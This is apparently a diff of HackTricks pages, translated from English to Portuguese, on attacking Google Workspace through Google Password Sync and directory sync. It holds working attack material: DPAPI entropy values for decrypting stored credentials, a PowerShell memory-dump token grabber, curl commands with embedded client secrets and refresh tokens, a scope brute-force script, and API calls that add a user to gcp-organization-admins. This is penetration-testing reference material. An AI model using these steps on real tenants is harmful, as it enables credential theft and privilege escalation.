||||
|
||||
<details>
|
||||
|
||||
<summary>Bash script to brute-force scopes</summary>
|
||||
|
||||
<summary>Script Bash para força bruta de escopos</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
|
||||
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \
|
||||
--data "scope=$scope" \
|
||||
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
echo $scope >> /tmp/valid_scopes.txt
|
||||
fi
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
|
||||
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \
|
||||
--data "scope=$scope" \
|
||||
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
echo $scope >> /tmp/valid_scopes.txt
|
||||
fi
|
||||
done
|
||||
|
||||
echo ""
|
||||
@@ -287,11 +278,9 @@ echo "Valid scopes:"
|
||||
cat /tmp/valid_scopes.txt
|
||||
rm /tmp/valid_scopes.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
And this is the output I got at the time of the writing:
|
||||
|
||||
E este é o resultado que obtive no momento da escrita:
|
||||
```
|
||||
https://www.googleapis.com/auth/admin.directory.group
|
||||
https://www.googleapis.com/auth/admin.directory.orgunit
|
||||
@@ -302,43 +291,36 @@ https://www.googleapis.com/auth/apps.groups.settings
|
||||
https://www.googleapis.com/auth/apps.licensing
|
||||
https://www.googleapis.com/auth/contacts
|
||||
```
|
||||
|
||||
#### Create a user and add it into the group `gcp-organization-admins` to try to escalate in GCP
|
||||
|
||||
#### Crie um usuário e adicione-o ao grupo `gcp-organization-admins` para tentar escalar no GCP
|
||||
```bash
|
||||
# Create new user
|
||||
curl -X POST \
|
||||
'https://admin.googleapis.com/admin/directory/v1/users' \
|
||||
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{
|
||||
"primaryEmail": "deleteme@domain.com",
|
||||
"name": {
|
||||
"givenName": "Delete",
|
||||
"familyName": "Me"
|
||||
},
|
||||
"password": "P4ssw0rdStr0ng!",
|
||||
"changePasswordAtNextLogin": false
|
||||
}'
|
||||
'https://admin.googleapis.com/admin/directory/v1/users' \
|
||||
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{
|
||||
"primaryEmail": "deleteme@domain.com",
|
||||
"name": {
|
||||
"givenName": "Delete",
|
||||
"familyName": "Me"
|
||||
},
|
||||
"password": "P4ssw0rdStr0ng!",
|
||||
"changePasswordAtNextLogin": false
|
||||
}'
|
||||
|
||||
# Add to group
|
||||
curl -X POST \
|
||||
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
|
||||
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{
|
||||
"email": "deleteme@domain.com",
|
||||
"role": "OWNER"
|
||||
}'
|
||||
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
|
||||
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{
|
||||
"email": "deleteme@domain.com",
|
||||
"role": "OWNER"
|
||||
}'
|
||||
|
||||
# You could also change the password of a user for example
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> It's not possible to give the new user the Super Amin role because the **refresh token doesn't have enough scopes** to give the required privileges.
|
||||
> Não é possível conceder ao novo usuário o papel de Super Amin porque o **token de atualização não possui escopos suficientes** para conceder os privilégios necessários.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -2,57 +2,56 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Informações Básicas
|
||||
|
||||
This is the binary and service that Google offers in order to **keep synchronized the passwords of the users between the AD** and Workspace. Every-time a user changes his password in the AD, it's set to Google.
|
||||
Este é o binário e serviço que o Google oferece para **manter sincronizadas as senhas dos usuários entre o AD** e o Workspace. Sempre que um usuário altera sua senha no AD, ela é definida no Google.
|
||||
|
||||
It gets installed in `C:\Program Files\Google\Password Sync` where you can find the binary `PasswordSync.exe` to configure it and `password_sync_service.exe` (the service that will continue running).
|
||||
Ele é instalado em `C:\Program Files\Google\Password Sync`, onde você pode encontrar o binário `PasswordSync.exe` para configurá-lo e `password_sync_service.exe` (o serviço que continuará em execução).
|
||||
|
||||
### GPS - Configuration
|
||||
### GPS - Configuração
|
||||
|
||||
To configure this binary (and service), it's needed to **give it access to a Super Admin principal in Workspace**:
|
||||
Para configurar este binário (e serviço), é necessário **dar acesso a um principal Super Admin no Workspace**:
|
||||
|
||||
- Login via **OAuth** with Google and then it'll **store a token in the registry (encrypted)**
|
||||
- Only available in Domain Controllers with GUI
|
||||
- Giving some **Service Account credentials from GCP** (json file) with permissions to **manage the Workspace users**
|
||||
- Very bad idea as those credentials never expired and could be misused
|
||||
- Very bad idea give a SA access over workspace as the SA could get compromised in GCP and it'll possible to pivot to Workspace
|
||||
- Google require it for domain controlled without GUI
|
||||
- These creds are also stored in the registry
|
||||
- Login via **OAuth** com o Google e então ele **armazenará um token no registro (criptografado)**
|
||||
- Disponível apenas em Controladores de Domínio com GUI
|
||||
- Fornecendo algumas **credenciais de Conta de Serviço do GCP** (arquivo json) com permissões para **gerenciar os usuários do Workspace**
|
||||
- Ideia muito ruim, pois essas credenciais nunca expiram e podem ser mal utilizadas
|
||||
- Ideia muito ruim dar acesso a uma SA sobre o workspace, pois a SA pode ser comprometida no GCP e será possível pivotar para o Workspace
|
||||
- O Google exige isso para domínio controlado sem GUI
|
||||
- Essas credenciais também são armazenadas no registro
|
||||
|
||||
Regarding AD, it's possible to indicate it to use the current **applications context, anonymous or some specific credentials**. If the credentials option is selected, the **username** is stored inside a file in the **disk** and the **password** is **encrypted** and stored in the **registry**.
|
||||
Quanto ao AD, é possível indicar para usar o **contexto de aplicações atual, anônimo ou algumas credenciais específicas**. Se a opção de credenciais for selecionada, o **nome de usuário** é armazenado dentro de um arquivo no **disco** e a **senha** é **criptografada** e armazenada no **registro**.
|
||||
|
||||
### GPS - Dumping password and token from disk
|
||||
### GPS - Extraindo senha e token do disco
|
||||
|
||||
> [!TIP]
|
||||
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GPS**, get information about the configuration and **even decrypt the password and token**.
|
||||
> Note que [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) é capaz de detectar **GPS**, obter informações sobre a configuração e **até mesmo descriptografar a senha e o token**.
|
||||
|
||||
In the file **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** it's possible to find part of the configuration like the **`baseDN`** of the AD configured and the **`username`** whose credentials are being used.
|
||||
No arquivo **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** é possível encontrar parte da configuração, como o **`baseDN`** do AD configurado e o **`username`** cujas credenciais estão sendo usadas.
|
||||
|
||||
In the registry **`HKLM\Software\Google\Google Apps Password Sync`** it's possible to find the **encrypted refresh token** and the **encrypted password** for the AD user (if any). Moreover, if instead of an token, some **SA credentials** are used, it's also possible to find those encrypted in that registry address. The **values** inside this registry are only **accessible** by **Administrators**.
|
||||
No registro **`HKLM\Software\Google\Google Apps Password Sync`** é possível encontrar o **token de atualização criptografado** e a **senha criptografada** para o usuário do AD (se houver). Além disso, se em vez de um token, algumas **credenciais de SA** forem usadas, também é possível encontrá-las criptografadas nesse endereço do registro. Os **valores** dentro deste registro são acessíveis apenas por **Administradores**.
|
||||
|
||||
The encrypted **password** (if any) is inside the key **`ADPassword`** and is encrypted using **`CryptProtectData`** API. To decrypt it, you need to be the same user as the one that configured the password sync and use this **entropy** when using the **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
|
||||
A **senha criptografada** (se houver) está dentro da chave **`ADPassword`** e é criptografada usando a API **`CryptProtectData`**. Para descriptografá-la, você precisa ser o mesmo usuário que configurou a sincronização de senhas e usar esta **entropia** ao usar a **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
|
||||
|
||||
The encrypted token (if any) is inside the key **`AuthToken`** and is encrypted using **`CryptProtecData`** API. To decrypt it, you need to be the same user as the one that configured the password sync and use this **entropy** when using the **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
|
||||
Moreover, it's also encoded using base32hex with the dictionary **`0123456789abcdefghijklmnopqrstv`**.
|
||||
O token criptografado (se houver) está dentro da chave **`AuthToken`** e é criptografado usando a API **`CryptProtectData`**. Para descriptografá-lo, você precisa ser o mesmo usuário que configurou a sincronização de senhas e usar esta **entropia** ao usar a **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
|
||||
Além disso, também é codificado usando base32hex com o dicionário **`0123456789abcdefghijklmnopqrstv`**.
|
||||
|
||||
The entropy values were found by using the tool . It was configured to monitor the calls to **`CryptUnprotectData`** and **`CryptProtectData`** and then the tool was used to launch and monitor `PasswordSync.exe` which will decrypt the configured password and auth token at the beginning and the tool will **show the values for the entropy used** in both cases:
|
||||
Os valores de entropia foram encontrados usando a ferramenta. Ela foi configurada para monitorar as chamadas para **`CryptUnprotectData`** e **`CryptProtectData`** e então a ferramenta foi usada para iniciar e monitorar `PasswordSync.exe`, que descriptografará a senha configurada e o token de autenticação no início, e a ferramenta **mostrará os valores da entropia usada** em ambos os casos:
|
||||
|
||||
<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Note that it's also possible to see the **decrypted** values in the input or output of the calls to these APIs also (in case at some point Winpeas stop working).
|
||||
Note que também é possível ver os valores **descriptografados** na entrada ou saída das chamadas para essas APIs também (caso em algum momento o Winpeas pare de funcionar).
|
||||
|
||||
In case the Password Sync was **configured with SA credentials**, it will also be stored in keys inside the registry **`HKLM\Software\Google\Google Apps Password Sync`**.
|
||||
Caso a sincronização de senhas tenha sido **configurada com credenciais de SA**, também será armazenada em chaves dentro do registro **`HKLM\Software\Google\Google Apps Password Sync`**.
|
||||
|
||||
### GPS - Dumping tokens from memory
|
||||
### GPS - Extraindo tokens da memória
|
||||
|
||||
Just like with GCPW, it's possible to dump the memory of the process of the `PasswordSync.exe` and the `password_sync_service.exe` processes and you will be able to find refresh and access tokens (if they have been generated already).\
|
||||
I guess you could also find the AD configured credentials.
|
||||
Assim como com o GCPW, é possível extrair a memória do processo dos processos `PasswordSync.exe` e `password_sync_service.exe` e você poderá encontrar tokens de atualização e de acesso (se já tiverem sido gerados).\
|
||||
Acho que você também poderia encontrar as credenciais configuradas do AD.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dump <code>PasswordSync.exe</code> and the <code>password_sync_service.exe</code> processes and search tokens</summary>
|
||||
|
||||
<summary>Extrair <code>PasswordSync.exe</code> e os processos <code>password_sync_service.exe</code> e buscar tokens</summary>
|
||||
```powershell
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
|
||||
@@ -61,8 +60,8 @@ $dumpFolder = "C:\Users\Public\dumps"
|
||||
|
||||
# Regular expressions for tokens
|
||||
$tokenRegexes = @(
|
||||
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
|
||||
"1//[a-zA-Z0-9_\.\-]{50,}"
|
||||
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
|
||||
"1//[a-zA-Z0-9_\.\-]{50,}"
|
||||
)
|
||||
|
||||
# Show EULA if it wasn't accepted yet for strings
|
||||
@@ -70,7 +69,7 @@ $stringsPath
|
||||
|
||||
# Create a directory for the dumps if it doesn't exist
|
||||
if (!(Test-Path $dumpFolder)) {
|
||||
New-Item -Path $dumpFolder -ItemType Directory
|
||||
New-Item -Path $dumpFolder -ItemType Directory
|
||||
}
|
||||
|
||||
# Get all Chrome process IDs
|
||||
@@ -79,94 +78,90 @@ $chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name
|
||||
|
||||
# Dump each Chrome process
|
||||
foreach ($processId in $chromeProcesses) {
|
||||
Write-Output "Dumping process with PID: $processId"
|
||||
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
|
||||
Write-Output "Dumping process with PID: $processId"
|
||||
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
|
||||
}
|
||||
|
||||
# Extract strings and search for tokens in each dump
|
||||
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
|
||||
$dumpFile = $_.FullName
|
||||
$baseName = $_.BaseName
|
||||
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
|
||||
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
|
||||
$dumpFile = $_.FullName
|
||||
$baseName = $_.BaseName
|
||||
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
|
||||
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
|
||||
|
||||
Write-Output "Extracting strings from $dumpFile"
|
||||
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
|
||||
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
|
||||
Write-Output "Extracting strings from $dumpFile"
|
||||
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
|
||||
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
|
||||
|
||||
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
|
||||
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
|
||||
|
||||
foreach ($file in $outputFiles) {
|
||||
foreach ($regex in $tokenRegexes) {
|
||||
foreach ($file in $outputFiles) {
|
||||
foreach ($regex in $tokenRegexes) {
|
||||
|
||||
$matches = Select-String -Path $file -Pattern $regex -AllMatches
|
||||
$matches = Select-String -Path $file -Pattern $regex -AllMatches
|
||||
|
||||
$uniqueMatches = @{}
|
||||
$uniqueMatches = @{}
|
||||
|
||||
foreach ($matchInfo in $matches) {
|
||||
foreach ($match in $matchInfo.Matches) {
|
||||
$matchValue = $match.Value
|
||||
if (-not $uniqueMatches.ContainsKey($matchValue)) {
|
||||
$uniqueMatches[$matchValue] = @{
|
||||
LineNumber = $matchInfo.LineNumber
|
||||
LineText = $matchInfo.Line.Trim()
|
||||
FilePath = $matchInfo.Path
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
foreach ($matchInfo in $matches) {
|
||||
foreach ($match in $matchInfo.Matches) {
|
||||
$matchValue = $match.Value
|
||||
if (-not $uniqueMatches.ContainsKey($matchValue)) {
|
||||
$uniqueMatches[$matchValue] = @{
|
||||
LineNumber = $matchInfo.LineNumber
|
||||
LineText = $matchInfo.Line.Trim()
|
||||
FilePath = $matchInfo.Path
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($matchValue in $uniqueMatches.Keys) {
|
||||
$info = $uniqueMatches[$matchValue]
|
||||
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
|
||||
}
|
||||
}
|
||||
foreach ($matchValue in $uniqueMatches.Keys) {
|
||||
$info = $uniqueMatches[$matchValue]
|
||||
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
|
||||
}
|
||||
}
|
||||
|
||||
Write-Output ""
|
||||
}
|
||||
Write-Output ""
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### GPS - Generating access tokens from refresh tokens
|
||||
|
||||
Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command:
|
||||
### GPS - Gerando tokens de acesso a partir de tokens de atualização
|
||||
|
||||
Usando o token de atualização, é possível gerar tokens de acesso utilizando-o e o ID do cliente e o segredo do cliente especificados no seguinte comando:
|
||||
```bash
|
||||
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
|
||||
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
|
||||
### GPS - Scopes
|
||||
### GPS - Escopos
|
||||
|
||||
> [!NOTE]
|
||||
> Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**.
|
||||
> Note que mesmo tendo um token de atualização, não é possível solicitar nenhum escopo para o token de acesso, pois você só pode solicitar os **escopos suportados pela aplicação onde você está gerando o token de acesso**.
|
||||
>
|
||||
> Also, the refresh token is not valid in every application.
|
||||
> Além disso, o token de atualização não é válido em todas as aplicações.
|
||||
|
||||
By default GPS won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`:
|
||||
Por padrão, o GPS não terá acesso como o usuário a todos os possíveis escopos OAuth, então usando o seguinte script podemos encontrar os escopos que podem ser usados com o `refresh_token` para gerar um `access_token`:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bash script to brute-force scopes</summary>
|
||||
|
||||
<summary>Script Bash para força bruta de escopos</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
|
||||
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
|
||||
--data "scope=$scope" \
|
||||
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
echo $scope >> /tmp/valid_scopes.txt
|
||||
fi
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
|
||||
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
|
||||
--data "scope=$scope" \
|
||||
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
echo $scope >> /tmp/valid_scopes.txt
|
||||
fi
|
||||
done
|
||||
|
||||
echo ""
|
||||
@@ -175,22 +170,15 @@ echo "Valid scopes:"
|
||||
cat /tmp/valid_scopes.txt
|
||||
rm /tmp/valid_scopes.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
And this is the output I got at the time of the writing:
|
||||
|
||||
E este é o resultado que obtive no momento da escrita:
|
||||
```
|
||||
https://www.googleapis.com/auth/admin.directory.user
|
||||
```
|
||||
|
||||
Which is the same one you get if you don't indicate any scope.
|
||||
Qual é o mesmo que você obtém se não indicar nenhum escopo.
|
||||
|
||||
> [!CAUTION]
|
||||
> With this scope you could **modify the password of a existing user to escalate privileges**.
|
||||
> Com este escopo, você poderia **modificar a senha de um usuário existente para escalar privilégios**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,61 +1,57 @@
|
||||
# GWS - Admin Directory Sync
|
||||
# GWS - Sincronização do Diretório do Admin
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Informações Básicas
|
||||
|
||||
The main difference between this way to synchronize users with GCDS is that GCDS is done manually with some binaries you need to download and run while **Admin Directory Sync is serverless** managed by Google in [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
A principal diferença entre essa forma de sincronizar usuários com o GCDS é que o GCDS é feito manualmente com alguns binários que você precisa baixar e executar, enquanto **a Sincronização do Diretório do Admin é sem servidor** gerenciada pelo Google em [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
|
||||
At the moment of this writing this service is in beta and it supports 2 types of synchronization: From **Active Directory** and from **Azure Entra ID:**
|
||||
No momento da redação deste documento, este serviço está em beta e suporta 2 tipos de sincronização: do **Active Directory** e do **Azure Entra ID:**
|
||||
|
||||
- **Active Directory:** In order to set this up you need to give **access to Google to you Active Directory environment**. And as Google only has access to GCP networks (via **VPC connectors**) you need to create a connector and then make your AD available from that connector by having it in VMs in the GCP network or using Cloud VPN or Cloud Interconnect. Then, you also need to provide **credentials** of an account with read access over the directory and **certificate** to contact via **LDAPS**.
|
||||
- **Azure Entra ID:** To configure this it's just needed to **login in Azure with a user with read access** over the Entra ID subscription in a pop-up showed by Google, and Google will keep the token with read access over Entra ID.
|
||||
- **Active Directory:** Para configurar isso, você precisa dar **acesso ao Google ao seu ambiente do Active Directory**. E como o Google só tem acesso às redes do GCP (via **conectores VPC**), você precisa criar um conector e, em seguida, tornar seu AD disponível a partir desse conector, tendo-o em VMs na rede do GCP ou usando Cloud VPN ou Cloud Interconnect. Então, você também precisa fornecer **credenciais** de uma conta com acesso de leitura sobre o diretório e um **certificado** para contatar via **LDAPS**.
|
||||
- **Azure Entra ID:** Para configurar isso, é necessário apenas **fazer login no Azure com um usuário com acesso de leitura** sobre a assinatura do Entra ID em um pop-up exibido pelo Google, e o Google manterá o token com acesso de leitura sobre o Entra ID.
|
||||
|
||||
Once correctly configured, both options will allow to **synchronize users and groups to Workspace**, but it won't allow to configure users and groups from Workspace to AD or EntraID.
|
||||
Uma vez configuradas corretamente, ambas as opções permitirão **sincronizar usuários e grupos com o Workspace**, mas não permitirão configurar usuários e grupos do Workspace para o AD ou EntraID.
|
||||
|
||||
Other options that it will allow during this synchronization are:
|
||||
Outras opções que serão permitidas durante essa sincronização são:
|
||||
|
||||
- Send an email to the new users to log-in
|
||||
- Automatically change their email address to the one used by Workspace. So if Workspace is using `@hacktricks.xyz` and EntraID users use `@carloshacktricks.onmicrosoft.com`, `@hacktricks.xyz` will be used for the users created in the account.
|
||||
- Select the **groups containing the users** that will be synced.
|
||||
- Select to **groups** to synchronize and create in Workspace (or indicate to synchronize all groups).
|
||||
- Enviar um e-mail para os novos usuários para fazer login
|
||||
- Alterar automaticamente seu endereço de e-mail para o usado pelo Workspace. Assim, se o Workspace estiver usando `@hacktricks.xyz` e os usuários do EntraID usarem `@carloshacktricks.onmicrosoft.com`, `@hacktricks.xyz` será usado para os usuários criados na conta.
|
||||
- Selecionar os **grupos contendo os usuários** que serão sincronizados.
|
||||
- Selecionar **grupos** para sincronizar e criar no Workspace (ou indicar para sincronizar todos os grupos).
|
||||
|
||||
### From AD/EntraID -> Google Workspace (& GCP)
|
||||
### De AD/EntraID -> Google Workspace (& GCP)
|
||||
|
||||
If you manage to compromise an AD or EntraID you will have total control of the users & groups that are going to be synchronized with Google Workspace.\
|
||||
However, notice that the **passwords** the users might be using in Workspace **could be the same ones or not**.
|
||||
Se você conseguir comprometer um AD ou EntraID, terá controle total sobre os usuários e grupos que serão sincronizados com o Google Workspace.\
|
||||
No entanto, observe que as **senhas** que os usuários podem estar usando no Workspace **podem ser as mesmas ou não**.
|
||||
|
||||
#### Attacking users
|
||||
#### Atacando usuários
|
||||
|
||||
When the synchronization happens it might synchronize **all the users from AD or only the ones from a specific OU** or only the **users members of specific groups in EntraID**. This means that to attack a synchronized user (or create a new one that gets synchronized) you will need first to figure out which users are being synchronized.
|
||||
Quando a sincronização acontece, pode sincronizar **todos os usuários do AD ou apenas os de uma OU específica** ou apenas os **usuários membros de grupos específicos no EntraID**. Isso significa que, para atacar um usuário sincronizado (ou criar um novo que seja sincronizado), você precisará primeiro descobrir quais usuários estão sendo sincronizados.
|
||||
|
||||
- Users might be **reusing the password or not from AD or EntraID**, but this mean that you will need to **compromise the passwords of the users to login**.
|
||||
- If you have access to the **mails** of the users, you could **change the Workspace password of an existing user**, or **create a new user**, wait until it gets synchronized an setup the account.
|
||||
- Os usuários podem estar **reutilizando a senha ou não do AD ou EntraID**, mas isso significa que você precisará **comprometer as senhas dos usuários para fazer login**.
|
||||
- Se você tiver acesso aos **e-mails** dos usuários, poderá **alterar a senha do Workspace de um usuário existente**, ou **criar um novo usuário**, esperar até que ele seja sincronizado e configurar a conta.
|
||||
|
||||
Once you access the user inside Workspace it might be given some **permissions by default**.
|
||||
Uma vez que você acesse o usuário dentro do Workspace, ele pode receber algumas **permissões por padrão**.
|
||||
|
||||
#### Attacking Groups
|
||||
#### Atacando Grupos
|
||||
|
||||
You also need to figure out first which groups are being synchronized. Although there is the possibility that **ALL** the groups are being synchronized (as Workspace allows this).
|
||||
Você também precisa descobrir primeiro quais grupos estão sendo sincronizados. Embora exista a possibilidade de que **TODOS** os grupos estejam sendo sincronizados (já que o Workspace permite isso).
|
||||
|
||||
> [!NOTE]
|
||||
> Note that even if the groups and memberships are imported into Workspace, the **users that aren't synchronized in the users sychronization won't be created** during groups synchronization even if they are members of any of the groups synchronized.
|
||||
> Observe que, mesmo que os grupos e as associações sejam importados para o Workspace, os **usuários que não estão sincronizados na sincronização de usuários não serão criados** durante a sincronização de grupos, mesmo que sejam membros de qualquer um dos grupos sincronizados.
|
||||
|
||||
If you know which groups from Azure are being **assigned permissions in Workspace or GCP**, you could just add a compromised user (or newly created) in that group and get those permissions.
|
||||
Se você souber quais grupos do Azure estão sendo **atribuídos permissões no Workspace ou GCP**, poderá simplesmente adicionar um usuário comprometido (ou recém-criado) nesse grupo e obter essas permissões.
|
||||
|
||||
There is another option to abuse existing privileged groups in Workspace. For example, the group `gcp-organization-admins@<workspace.email>` usually has high privileges over GCP.
|
||||
Há outra opção para abusar de grupos privilegiados existentes no Workspace. Por exemplo, o grupo `gcp-organization-admins@<workspace.email>` geralmente tem altos privilégios sobre o GCP.
|
||||
|
||||
If the synchronization from, for example EntraID, to Workspace is **configured to replace the domain** of the imported object **with the email of Workspace**, it will be possible for an attacker to create the group `gcp-organization-admins@<entraid.email>` in EntraID, add a user in this group, and wait until the synchronization of all the groups happen.\
|
||||
**The user will be added in the group `gcp-organization-admins@<workspace.email>` escalating privileges in GCP.**
|
||||
Se a sincronização de, por exemplo, EntraID, para o Workspace estiver **configurada para substituir o domínio** do objeto importado **pelo e-mail do Workspace**, será possível para um atacante criar o grupo `gcp-organization-admins@<entraid.email>` no EntraID, adicionar um usuário a esse grupo e esperar até que a sincronização de todos os grupos aconteça.\
|
||||
**O usuário será adicionado ao grupo `gcp-organization-admins@<workspace.email>`, escalando privilégios no GCP.**
|
||||
|
||||
### From Google Workspace -> AD/EntraID
|
||||
### Do Google Workspace -> AD/EntraID
|
||||
|
||||
Note that Workspace require credentials with read only access over AD or EntraID to synchronize users and groups. Therefore, it's not possible to abuse Google Workspace to perform any change in AD or EntraID. So **this isn't possible** at this moment.
|
||||
